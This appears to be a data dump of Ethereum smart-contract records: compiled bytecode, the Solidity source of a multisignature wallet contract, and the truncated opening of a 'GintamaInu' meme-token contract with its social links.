fffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b60075481565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156108bc57600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561094757600080fd5b60008211151561095657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561099257600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109cd57600080fd5b610a1f82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610af182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bc382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ff90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190509392505050565b600660009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8157600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ccf57600080fd5b339050610d2482600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7c826007546117e690919063ffffffff16565b6007819055507fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e8857600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60016020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fb757600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110a85780601f1061107d576101008083540402835291602001916110a8565b820191906000526020600020905b81548152906001019060200180831161108b57829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110b57600080fd5b61117e81600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ff90919063ffffffff16565b600160008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f7816007546117ff90919063ffffffff16565b6007819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156112cc57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561132557600080fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561137357600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113c157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113fd57600080fd5b60008211151561140c57600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149e83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ff90919063ffffffff16565b101515156114ab57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114e657600080fd5b61153882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ff90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156117f457fe5b818303905092915050565b600080828401905083811015151561181357fe5b80915050929150505600a165627a7a723058202aeb2a3da13226c5dc57c2ecdb50bc1c5af783809713b5ea7edf1b302a4165740029
|
{"success": true, "error": null, "results": {}}
| 5,793 |
0xae8f87a320866b2915b6b75fdead9738cccd7217
|
pragma solidity ^0.4.17;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filters are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610931565b34801561029a57600080fd5b506102436004356109b5565b3480156102b257600080fd5b506102be600435610a24565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610ae2565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b45565b3480156103f757600080fd5b50610376600435610c7e565b34801561040f57600080fd5b50610243610df7565b34801561042457600080fd5b5061015c600435610dfd565b34801561043c57600080fd5b5061015c600435610e74565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f3f9650505050505050565b3480156104bd57600080fd5b50610243610f5e565b3480156104d257600080fd5b50610243610f63565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f69565b34801561050e57600080fd5b5061015c6004356110f3565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b6003805460001901906106679082611343565b5060035460045411156106805760035461068090610dfd565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b600380549050600101600454603282118061087857508181115b80610881575080155b8061088a575081155b1561089457600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109ae576000848152600160205260408120600380549192918490811061095f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610993576001820191505b6004548214156109a657600192506109ae565b600101610936565b5050919050565b6000805b600354811015610a1e57600083815260016020526040812060038054919291849081106109e257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a16576001820191505b6001016109b9565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b3a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b1c575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b77578160200160208202803883390190505b50925060009150600090505b600554811015610bfe57858015610bac575060008181526020819052604090206003015460ff16155b80610bd05750848015610bd0575060008181526020819052604090206003015460ff165b15610bf657808383815181101515610be457fe5b60209081029091010152600191909101905b600101610b83565b878703604051908082528060200260200182016040528015610c2a578160200160208202803883390190505b5093508790505b86811015610c73578281815181101515610c4757fe5b9060200190602002015184898303815181101515610c6157fe5b60209081029091010152600101610c31565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cb3578160200160208202803883390190505b50925060009150600090505b600354811015610d705760008581526001602052604081206003805491929184908110610ce857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d68576003805482908110610d2357fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d4957fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cbf565b81604051908082528060200260200182016040528015610d9a578160200160208202803883390190505b509350600090505b81811015610def578281815181101515610db857fe5b906020019060200201518482815181101515610dd057fe5b600160a060020a03909216602092830290910190910152600101610da2565b505050919050565b60055481565b333014610e0957600080fd5b600354816032821180610e1b57508181115b80610e24575080155b80610e2d575081155b15610e3757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610e9257600080fd5b6000828152602081905260409020548290600160a060020a03161515610eb757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ee257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f38856110f3565b5050505050565b6000610f4c848484611253565b9050610f5781610e74565b9392505050565b603281565b60045481565b6000333014610f7757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fa057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fc857600080fd5b600092505b6003548310156110595784600160a060020a0316600384815481101515610ff057fe5b600091825260209091200154600160a060020a0316141561104e578360038481548110151561101b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611059565b600190920191610fcd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b600081815260208190526040812060030154829060ff161561111457600080fd5b61111d83610931565b1561124e576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156111cb5780601f106111a0576101008083540402835291602001916111cb565b820191906000526020600020905b8154815290600101906020018083116111ae57829003601f168201915b505091505060006040518083038185875af192505050156112165760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261124e565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b505050565b600083600160a060020a038116151561126b57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff1916941693909317835551600183015592518051949650919390926112eb926002850192910190611367565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b81548183558181111561124e5760008381526020902061124e9181019083016113e5565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106113a857805160ff19168380011785556113d5565b828001600101855582156113d5579182015b828111156113d55782518255916020019190600101906113ba565b506113e19291506113e5565b5090565b610b4291905b808211156113e157600081556001016113eb5600a165627a7a72305820f586e4cc6b66345b466e7a901b267122507362f22cef862107a4f58ea45fed0f0029
|
{"success": true, "error": null, "results": {}}
| 5,794 |
0xaea580853586bb000d75d1d3d7b0075b1670b1ed
|
/*
Telegram: https://t.me/GintamaInu
Twitter: https://twitter.com/GintamaInu
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄ ▄ ▄ ▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌ ▐░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌ ▐░░▌▐░░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░▌ ▐░▌▐░▌ ▐░▌
▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌ ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░▌░▌ ▐░▐░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌ ▐░▌▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌
▐░▌ ▄▄▄▄▄▄▄▄ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▐░▌ ▐░▌▐░█▄▄▄▄▄▄▄█░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌
▐░▌▐░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░▌ ▐░▌▐░░░░░░░░░░░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌
▐░▌ ▀▀▀▀▀▀█░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▀ ▐░▌▐░█▀▀▀▀▀▀▀█░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄█░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌ ▐░▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▄▄▄▄█░█▄▄▄▄ ▐░▌ ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░▌ ▐░░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░░▌▐░░░░░░░░░░░▌
▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀ ▀ ▀ ▀ ▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀ ▀▀▀▀▀▀▀▀▀▀▀
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
